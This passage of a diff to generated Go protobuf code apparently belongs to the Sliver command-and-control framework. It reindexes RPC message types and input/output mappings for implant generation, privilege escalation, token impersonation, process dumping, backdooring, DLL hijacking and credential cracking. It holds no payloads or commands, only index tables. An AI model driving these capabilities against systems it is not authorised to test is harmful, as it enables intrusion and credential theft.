+ (*sliverpb.Reconfigure)(nil), // 133: sliverpb.Reconfigure
+ (*clientpb.Sessions)(nil), // 134: clientpb.Sessions
+ (*commonpb.Response)(nil), // 135: commonpb.Response
+ (*clientpb.MonitoringProviders)(nil), // 136: clientpb.MonitoringProviders
+ (*clientpb.ListenerJob)(nil), // 137: clientpb.ListenerJob
+ (*clientpb.Beacons)(nil), // 138: clientpb.Beacons
+ (*clientpb.BeaconTasks)(nil), // 139: clientpb.BeaconTasks
+ (*clientpb.Jobs)(nil), // 140: clientpb.Jobs
+ (*clientpb.KillJob)(nil), // 141: clientpb.KillJob
+ (*clientpb.StagerListener)(nil), // 142: clientpb.StagerListener
+ (*clientpb.AllLoot)(nil), // 143: clientpb.AllLoot
+ (*clientpb.AllHosts)(nil), // 144: clientpb.AllHosts
+ (*clientpb.Generate)(nil), // 145: clientpb.Generate
+ (*clientpb.ExternalImplantConfig)(nil), // 146: clientpb.ExternalImplantConfig
+ (*clientpb.HTTPC2Configs)(nil), // 147: clientpb.HTTPC2Configs
+ (*clientpb.HTTPC2Config)(nil), // 148: clientpb.HTTPC2Config
+ (*clientpb.Builders)(nil), // 149: clientpb.Builders
+ (*clientpb.CertificateInfo)(nil), // 150: clientpb.CertificateInfo
+ (*clientpb.Crackstations)(nil), // 151: clientpb.Crackstations
+ (*clientpb.CrackFiles)(nil), // 152: clientpb.CrackFiles
+ (*clientpb.ImplantBuilds)(nil), // 153: clientpb.ImplantBuilds
+ (*clientpb.Canaries)(nil), // 154: clientpb.Canaries
+ (*clientpb.WGClientConfig)(nil), // 155: clientpb.WGClientConfig
+ (*clientpb.UniqueWGIP)(nil), // 156: clientpb.UniqueWGIP
+ (*clientpb.ImplantProfiles)(nil), // 157: clientpb.ImplantProfiles
+ (*clientpb.ShellcodeRDI)(nil), // 158: clientpb.ShellcodeRDI
+ (*clientpb.Compiler)(nil), // 159: clientpb.Compiler
+ (*clientpb.ShellcodeEncode)(nil), // 160: clientpb.ShellcodeEncode
+ (*clientpb.ShellcodeEncoderMap)(nil), // 161: clientpb.ShellcodeEncoderMap
+ (*clientpb.TrafficEncoderMap)(nil), // 162: clientpb.TrafficEncoderMap
+ (*clientpb.TrafficEncoderTests)(nil), // 163: clientpb.TrafficEncoderTests
+ (*clientpb.Websites)(nil), // 164: clientpb.Websites
+ (*sliverpb.Ps)(nil), // 165: sliverpb.Ps
+ (*sliverpb.Terminate)(nil), // 166: sliverpb.Terminate
+ (*sliverpb.Ifconfig)(nil), // 167: sliverpb.Ifconfig
+ (*sliverpb.Netstat)(nil), // 168: sliverpb.Netstat
+ (*sliverpb.Ls)(nil), // 169: sliverpb.Ls
+ (*sliverpb.Pwd)(nil), // 170: sliverpb.Pwd
+ (*sliverpb.Mv)(nil), // 171: sliverpb.Mv
+ (*sliverpb.Cp)(nil), // 172: sliverpb.Cp
+ (*sliverpb.Rm)(nil), // 173: sliverpb.Rm
+ (*sliverpb.Mkdir)(nil), // 174: sliverpb.Mkdir
+ (*sliverpb.Download)(nil), // 175: sliverpb.Download
+ (*sliverpb.Upload)(nil), // 176: sliverpb.Upload
+ (*sliverpb.Grep)(nil), // 177: sliverpb.Grep
+ (*sliverpb.Chmod)(nil), // 178: sliverpb.Chmod
+ (*sliverpb.Chown)(nil), // 179: sliverpb.Chown
+ (*sliverpb.Chtimes)(nil), // 180: sliverpb.Chtimes
+ (*sliverpb.MemfilesAdd)(nil), // 181: sliverpb.MemfilesAdd
+ (*sliverpb.MemfilesRm)(nil), // 182: sliverpb.MemfilesRm
+ (*sliverpb.Mount)(nil), // 183: sliverpb.Mount
+ (*sliverpb.ProcessDump)(nil), // 184: sliverpb.ProcessDump
+ (*sliverpb.RunAs)(nil), // 185: sliverpb.RunAs
+ (*sliverpb.Impersonate)(nil), // 186: sliverpb.Impersonate
+ (*sliverpb.RevToSelf)(nil), // 187: sliverpb.RevToSelf
+ (*sliverpb.GetSystem)(nil), // 188: sliverpb.GetSystem
+ (*sliverpb.Task)(nil), // 189: sliverpb.Task
+ (*sliverpb.ExecuteAssembly)(nil), // 190: sliverpb.ExecuteAssembly
+ (*sliverpb.Migrate)(nil), // 191: sliverpb.Migrate
+ (*sliverpb.Execute)(nil), // 192: sliverpb.Execute
+ (*sliverpb.Sideload)(nil), // 193: sliverpb.Sideload
+ (*sliverpb.SpawnDll)(nil), // 194: sliverpb.SpawnDll
+ (*sliverpb.Screenshot)(nil), // 195: sliverpb.Screenshot
+ (*sliverpb.CurrentTokenOwner)(nil), // 196: sliverpb.CurrentTokenOwner
+ (*sliverpb.Services)(nil), // 197: sliverpb.Services
+ (*sliverpb.ServiceDetail)(nil), // 198: sliverpb.ServiceDetail
+ (*sliverpb.ServiceInfo)(nil), // 199: sliverpb.ServiceInfo
+ (*sliverpb.PivotListener)(nil), // 200: sliverpb.PivotListener
+ (*sliverpb.PivotListeners)(nil), // 201: sliverpb.PivotListeners
+ (*clientpb.PivotGraph)(nil), // 202: clientpb.PivotGraph
+ (*sliverpb.MakeToken)(nil), // 203: sliverpb.MakeToken
+ (*sliverpb.EnvInfo)(nil), // 204: sliverpb.EnvInfo
+ (*sliverpb.SetEnv)(nil), // 205: sliverpb.SetEnv
+ (*sliverpb.UnsetEnv)(nil), // 206: sliverpb.UnsetEnv
+ (*clientpb.Backdoor)(nil), // 207: clientpb.Backdoor
+ (*sliverpb.RegistryRead)(nil), // 208: sliverpb.RegistryRead
+ (*sliverpb.RegistryWrite)(nil), // 209: sliverpb.RegistryWrite
+ (*sliverpb.RegistryCreateKey)(nil), // 210: sliverpb.RegistryCreateKey
+ (*sliverpb.RegistryDeleteKey)(nil), // 211: sliverpb.RegistryDeleteKey
+ (*sliverpb.RegistrySubKeyList)(nil), // 212: sliverpb.RegistrySubKeyList
+ (*sliverpb.RegistryValuesList)(nil), // 213: sliverpb.RegistryValuesList
+ (*sliverpb.RegistryReadHive)(nil), // 214: sliverpb.RegistryReadHive
+ (*sliverpb.SSHCommand)(nil), // 215: sliverpb.SSHCommand
+ (*clientpb.DllHijack)(nil), // 216: clientpb.DllHijack
+ (*sliverpb.GetPrivs)(nil), // 217: sliverpb.GetPrivs
+ (*sliverpb.RportFwdListener)(nil), // 218: sliverpb.RportFwdListener
+ (*sliverpb.RportFwdListeners)(nil), // 219: sliverpb.RportFwdListeners
+ (*sliverpb.RegisterExtension)(nil), // 220: sliverpb.RegisterExtension
+ (*sliverpb.CallExtension)(nil), // 221: sliverpb.CallExtension
+ (*sliverpb.ListExtensions)(nil), // 222: sliverpb.ListExtensions
+ (*sliverpb.RegisterWasmExtension)(nil), // 223: sliverpb.RegisterWasmExtension
+ (*sliverpb.ListWasmExtensions)(nil), // 224: sliverpb.ListWasmExtensions
+ (*sliverpb.ExecWasmExtension)(nil), // 225: sliverpb.ExecWasmExtension
+ (*sliverpb.WGPortForward)(nil), // 226: sliverpb.WGPortForward
+ (*sliverpb.WGSocks)(nil), // 227: sliverpb.WGSocks
+ (*sliverpb.WGTCPForwarders)(nil), // 228: sliverpb.WGTCPForwarders
+ (*sliverpb.WGSocksServers)(nil), // 229: sliverpb.WGSocksServers
+ (*sliverpb.Shell)(nil), // 230: sliverpb.Shell
+ (*sliverpb.Portfwd)(nil), // 231: sliverpb.Portfwd
}
var file_rpcpb_services_proto_depIdxs = []int32{
0, // 0: rpcpb.SliverRPC.GetVersion:input_type -> commonpb.Empty
@@ -1044,293 +1038,291 @@ var file_rpcpb_services_proto_depIdxs = []int32{
0, // 76: rpcpb.SliverRPC.ImplantProfiles:input_type -> commonpb.Empty
38, // 77: rpcpb.SliverRPC.DeleteImplantProfile:input_type -> clientpb.DeleteReq
39, // 78: rpcpb.SliverRPC.SaveImplantProfile:input_type -> clientpb.ImplantProfile
- 40, // 79: rpcpb.SliverRPC.MsfStage:input_type -> clientpb.MsfStagerReq
- 41, // 80: rpcpb.SliverRPC.ShellcodeRDI:input_type -> clientpb.ShellcodeRDIReq
- 0, // 81: rpcpb.SliverRPC.GetCompiler:input_type -> commonpb.Empty
- 42, // 82: rpcpb.SliverRPC.ShellcodeEncoder:input_type -> clientpb.ShellcodeEncodeReq
- 0, // 83: rpcpb.SliverRPC.ShellcodeEncoderMap:input_type -> commonpb.Empty
- 0, // 84: rpcpb.SliverRPC.TrafficEncoderMap:input_type -> commonpb.Empty
- 43, // 85: rpcpb.SliverRPC.TrafficEncoderAdd:input_type -> clientpb.TrafficEncoder
- 43, // 86: rpcpb.SliverRPC.TrafficEncoderRm:input_type -> clientpb.TrafficEncoder
- 0, // 87: rpcpb.SliverRPC.Websites:input_type -> commonpb.Empty
- 44, // 88: rpcpb.SliverRPC.Website:input_type -> clientpb.Website
- 44, // 89: rpcpb.SliverRPC.WebsiteRemove:input_type -> clientpb.Website
- 45, // 90: rpcpb.SliverRPC.WebsiteAddContent:input_type -> clientpb.WebsiteAddContent
- 45, // 91: rpcpb.SliverRPC.WebsiteUpdateContent:input_type -> clientpb.WebsiteAddContent
- 46, // 92: rpcpb.SliverRPC.WebsiteRemoveContent:input_type -> clientpb.WebsiteRemoveContent
- 47, // 93: rpcpb.SliverRPC.Ping:input_type -> sliverpb.Ping
- 48, // 94: rpcpb.SliverRPC.Ps:input_type -> sliverpb.PsReq
- 49, // 95: rpcpb.SliverRPC.Terminate:input_type -> sliverpb.TerminateReq
- 50, // 96: rpcpb.SliverRPC.Ifconfig:input_type -> sliverpb.IfconfigReq
- 51, // 97: rpcpb.SliverRPC.Netstat:input_type -> sliverpb.NetstatReq
- 52, // 98: rpcpb.SliverRPC.Ls:input_type -> sliverpb.LsReq
- 53, // 99: rpcpb.SliverRPC.Cd:input_type -> sliverpb.CdReq
- 54, // 100: rpcpb.SliverRPC.Pwd:input_type -> sliverpb.PwdReq
- 55, // 101: rpcpb.SliverRPC.Mv:input_type -> sliverpb.MvReq
- 56, // 102: rpcpb.SliverRPC.Cp:input_type -> sliverpb.CpReq
- 57, // 103: rpcpb.SliverRPC.Rm:input_type -> sliverpb.RmReq
- 58, // 104: rpcpb.SliverRPC.Mkdir:input_type -> sliverpb.MkdirReq
- 59, // 105: rpcpb.SliverRPC.Download:input_type -> sliverpb.DownloadReq
- 60, // 106: rpcpb.SliverRPC.Upload:input_type -> sliverpb.UploadReq
- 61, // 107: rpcpb.SliverRPC.Grep:input_type -> sliverpb.GrepReq
- 62, // 108: rpcpb.SliverRPC.Chmod:input_type -> sliverpb.ChmodReq
- 63, // 109: rpcpb.SliverRPC.Chown:input_type -> sliverpb.ChownReq
- 64, // 110: rpcpb.SliverRPC.Chtimes:input_type -> sliverpb.ChtimesReq
- 65, // 111: rpcpb.SliverRPC.MemfilesList:input_type -> sliverpb.MemfilesListReq
- 66, // 112: rpcpb.SliverRPC.MemfilesAdd:input_type -> sliverpb.MemfilesAddReq
- 67, // 113: rpcpb.SliverRPC.MemfilesRm:input_type -> sliverpb.MemfilesRmReq
- 68, // 114: rpcpb.SliverRPC.Mount:input_type -> sliverpb.MountReq
- 69, // 115: rpcpb.SliverRPC.ProcessDump:input_type -> sliverpb.ProcessDumpReq
- 70, // 116: rpcpb.SliverRPC.RunAs:input_type -> sliverpb.RunAsReq
- 71, // 117: rpcpb.SliverRPC.Impersonate:input_type -> sliverpb.ImpersonateReq
- 72, // 118: rpcpb.SliverRPC.RevToSelf:input_type -> sliverpb.RevToSelfReq
- 73, // 119: rpcpb.SliverRPC.GetSystem:input_type -> clientpb.GetSystemReq
- 74, // 120: rpcpb.SliverRPC.Task:input_type -> sliverpb.TaskReq
- 75, // 121: rpcpb.SliverRPC.Msf:input_type -> clientpb.MSFReq
- 76, // 122: rpcpb.SliverRPC.MsfRemote:input_type -> clientpb.MSFRemoteReq
- 77, // 123: rpcpb.SliverRPC.ExecuteAssembly:input_type -> sliverpb.ExecuteAssemblyReq
- 78, // 124: rpcpb.SliverRPC.Migrate:input_type -> clientpb.MigrateReq
- 79, // 125: rpcpb.SliverRPC.Execute:input_type -> sliverpb.ExecuteReq
- 80, // 126: rpcpb.SliverRPC.ExecuteWindows:input_type -> sliverpb.ExecuteWindowsReq
- 81, // 127: rpcpb.SliverRPC.Sideload:input_type -> sliverpb.SideloadReq
- 82, // 128: rpcpb.SliverRPC.SpawnDll:input_type -> sliverpb.InvokeSpawnDllReq
- 83, // 129: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq
- 84, // 130: rpcpb.SliverRPC.CurrentTokenOwner:input_type -> sliverpb.CurrentTokenOwnerReq
- 85, // 131: rpcpb.SliverRPC.Services:input_type -> sliverpb.ServicesReq
- 86, // 132: rpcpb.SliverRPC.ServiceDetail:input_type -> sliverpb.ServiceDetailReq
- 87, // 133: rpcpb.SliverRPC.StartServiceByName:input_type -> sliverpb.StartServiceByNameReq
- 88, // 134: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq
- 89, // 135: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq
- 90, // 136: rpcpb.SliverRPC.PivotSessionListeners:input_type -> sliverpb.PivotListenersReq
- 0, // 137: rpcpb.SliverRPC.PivotGraph:input_type -> commonpb.Empty
- 91, // 138: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq
- 92, // 139: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq
- 93, // 140: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq
- 94, // 141: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq
- 95, // 142: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq
- 96, // 143: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq
- 97, // 144: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq
- 98, // 145: rpcpb.SliverRPC.Backdoor:input_type -> clientpb.BackdoorReq
- 99, // 146: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq
- 100, // 147: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq
- 101, // 148: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq
- 102, // 149: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq
- 103, // 150: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq
- 104, // 151: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq
- 105, // 152: rpcpb.SliverRPC.RegistryReadHive:input_type -> sliverpb.RegistryReadHiveReq
- 106, // 153: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
- 107, // 154: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq
- 108, // 155: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq
- 109, // 156: rpcpb.SliverRPC.StartRportFwdListener:input_type -> sliverpb.RportFwdStartListenerReq
- 110, // 157: rpcpb.SliverRPC.GetRportFwdListeners:input_type -> sliverpb.RportFwdListenersReq
- 111, // 158: rpcpb.SliverRPC.StopRportFwdListener:input_type -> sliverpb.RportFwdStopListenerReq
- 112, // 159: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession
- 113, // 160: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession
- 114, // 161: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
- 115, // 162: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
- 116, // 163: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq
- 117, // 164: rpcpb.SliverRPC.RegisterWasmExtension:input_type -> sliverpb.RegisterWasmExtensionReq
- 118, // 165: rpcpb.SliverRPC.ListWasmExtensions:input_type -> sliverpb.ListWasmExtensionsReq
- 119, // 166: rpcpb.SliverRPC.ExecWasmExtension:input_type -> sliverpb.ExecWasmExtensionReq
- 120, // 167: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
- 121, // 168: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
- 122, // 169: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
- 123, // 170: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
- 124, // 171: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
- 125, // 172: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
- 126, // 173: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
- 127, // 174: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
- 128, // 175: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
- 128, // 176: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
- 129, // 177: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
- 130, // 178: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
- 130, // 179: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
- 131, // 180: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
- 0, // 181: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
- 132, // 182: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
- 0, // 183: rpcpb.SliverRPC.ClientLog:output_type -> commonpb.Empty
- 133, // 184: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
- 0, // 185: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
- 134, // 186: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure
- 0, // 187: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty
- 135, // 188: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
- 136, // 189: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
- 0, // 190: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
- 137, // 191: rpcpb.SliverRPC.MonitorListConfig:output_type -> clientpb.MonitoringProviders
- 136, // 192: rpcpb.SliverRPC.MonitorAddConfig:output_type -> commonpb.Response
- 136, // 193: rpcpb.SliverRPC.MonitorDelConfig:output_type -> commonpb.Response
- 138, // 194: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.ListenerJob
- 138, // 195: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.ListenerJob
- 138, // 196: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.ListenerJob
- 138, // 197: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.ListenerJob
- 138, // 198: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.ListenerJob
- 139, // 199: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
- 10, // 200: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
- 0, // 201: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
- 140, // 202: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
- 11, // 203: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
- 11, // 204: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask
- 0, // 205: rpcpb.SliverRPC.UpdateBeaconIntegrityInformation:output_type -> commonpb.Empty
- 141, // 206: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
- 142, // 207: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
- 0, // 208: rpcpb.SliverRPC.RestartJobs:output_type -> commonpb.Empty
- 143, // 209: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
- 16, // 210: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
- 0, // 211: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
- 16, // 212: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
- 16, // 213: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
- 144, // 214: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
- 17, // 215: rpcpb.SliverRPC.Creds:output_type -> clientpb.Credentials
- 0, // 216: rpcpb.SliverRPC.CredsAdd:output_type -> commonpb.Empty
- 0, // 217: rpcpb.SliverRPC.CredsRm:output_type -> commonpb.Empty
- 0, // 218: rpcpb.SliverRPC.CredsUpdate:output_type -> commonpb.Empty
- 18, // 219: rpcpb.SliverRPC.GetCredByID:output_type -> clientpb.Credential
- 17, // 220: rpcpb.SliverRPC.GetCredsByHashType:output_type -> clientpb.Credentials
- 17, // 221: rpcpb.SliverRPC.GetPlaintextCredsByHashType:output_type -> clientpb.Credentials
- 18, // 222: rpcpb.SliverRPC.CredsSniffHashType:output_type -> clientpb.Credential
- 145, // 223: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
- 19, // 224: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
- 0, // 225: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
- 0, // 226: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
- 146, // 227: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
- 147, // 228: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig
- 0, // 229: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty
- 147, // 230: rpcpb.SliverRPC.GenerateExternalGetBuildConfig:output_type -> clientpb.ExternalImplantConfig
- 146, // 231: rpcpb.SliverRPC.GenerateStage:output_type -> clientpb.Generate
- 0, // 232: rpcpb.SliverRPC.StageImplantBuild:output_type -> commonpb.Empty
- 148, // 233: rpcpb.SliverRPC.GetHTTPC2Profiles:output_type -> clientpb.HTTPC2Configs
- 149, // 234: rpcpb.SliverRPC.GetHTTPC2ProfileByName:output_type -> clientpb.HTTPC2Config
- 0, // 235: rpcpb.SliverRPC.SaveHTTPC2Profile:output_type -> commonpb.Empty
- 30, // 236: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event
- 0, // 237: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty
- 150, // 238: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders
- 151, // 239: rpcpb.SliverRPC.GetCertificateInfo:output_type -> clientpb.CertificateInfo
- 30, // 240: rpcpb.SliverRPC.CrackstationRegister:output_type -> clientpb.Event
- 0, // 241: rpcpb.SliverRPC.CrackstationTrigger:output_type -> commonpb.Empty
- 0, // 242: rpcpb.SliverRPC.CrackstationBenchmark:output_type -> commonpb.Empty
- 152, // 243: rpcpb.SliverRPC.Crackstations:output_type -> clientpb.Crackstations
- 34, // 244: rpcpb.SliverRPC.CrackTaskByID:output_type -> clientpb.CrackTask
- 0, // 245: rpcpb.SliverRPC.CrackTaskUpdate:output_type -> commonpb.Empty
- 153, // 246: rpcpb.SliverRPC.CrackFilesList:output_type -> clientpb.CrackFiles
- 35, // 247: rpcpb.SliverRPC.CrackFileCreate:output_type -> clientpb.CrackFile
- 0, // 248: rpcpb.SliverRPC.CrackFileChunkUpload:output_type -> commonpb.Empty
- 36, // 249: rpcpb.SliverRPC.CrackFileChunkDownload:output_type -> clientpb.CrackFileChunk
- 0, // 250: rpcpb.SliverRPC.CrackFileComplete:output_type -> commonpb.Empty
- 0, // 251: rpcpb.SliverRPC.CrackFileDelete:output_type -> commonpb.Empty
- 146, // 252: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
- 154, // 253: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
- 0, // 254: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
- 155, // 255: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
- 156, // 256: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
- 157, // 257: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
- 158, // 258: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
- 0, // 259: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
- 39, // 260: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
- 159, // 261: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
- 160, // 262: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
- 161, // 263: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
- 162, // 264: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode
- 163, // 265: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap
- 164, // 266: rpcpb.SliverRPC.TrafficEncoderMap:output_type -> clientpb.TrafficEncoderMap
- 165, // 267: rpcpb.SliverRPC.TrafficEncoderAdd:output_type -> clientpb.TrafficEncoderTests
- 0, // 268: rpcpb.SliverRPC.TrafficEncoderRm:output_type -> commonpb.Empty
- 166, // 269: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
- 44, // 270: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
- 0, // 271: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
- 44, // 272: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
- 44, // 273: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
- 44, // 274: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
- 47, // 275: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
- 167, // 276: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
- 168, // 277: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
- 169, // 278: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
- 170, // 279: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
- 171, // 280: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
- 172, // 281: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
- 172, // 282: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
- 173, // 283: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv
- 174, // 284: rpcpb.SliverRPC.Cp:output_type -> sliverpb.Cp
- 175, // 285: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
- 176, // 286: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
- 177, // 287: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
- 178, // 288: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
- 179, // 289: rpcpb.SliverRPC.Grep:output_type -> sliverpb.Grep
- 180, // 290: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod
- 181, // 291: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown
- 182, // 292: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes
- 171, // 293: rpcpb.SliverRPC.MemfilesList:output_type -> sliverpb.Ls
- 183, // 294: rpcpb.SliverRPC.MemfilesAdd:output_type -> sliverpb.MemfilesAdd
- 184, // 295: rpcpb.SliverRPC.MemfilesRm:output_type -> sliverpb.MemfilesRm
- 185, // 296: rpcpb.SliverRPC.Mount:output_type -> sliverpb.Mount
- 186, // 297: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
- 187, // 298: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
- 188, // 299: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
- 189, // 300: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
- 190, // 301: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
- 191, // 302: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
- 191, // 303: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
- 191, // 304: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
- 192, // 305: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
- 193, // 306: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
- 194, // 307: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
- 194, // 308: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute
- 195, // 309: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
- 196, // 310: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
- 197, // 311: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
- 198, // 312: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner
- 199, // 313: rpcpb.SliverRPC.Services:output_type -> sliverpb.Services
- 200, // 314: rpcpb.SliverRPC.ServiceDetail:output_type -> sliverpb.ServiceDetail
- 201, // 315: rpcpb.SliverRPC.StartServiceByName:output_type -> sliverpb.ServiceInfo
- 202, // 316: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
- 0, // 317: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
- 203, // 318: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners
- 204, // 319: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph
- 201, // 320: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
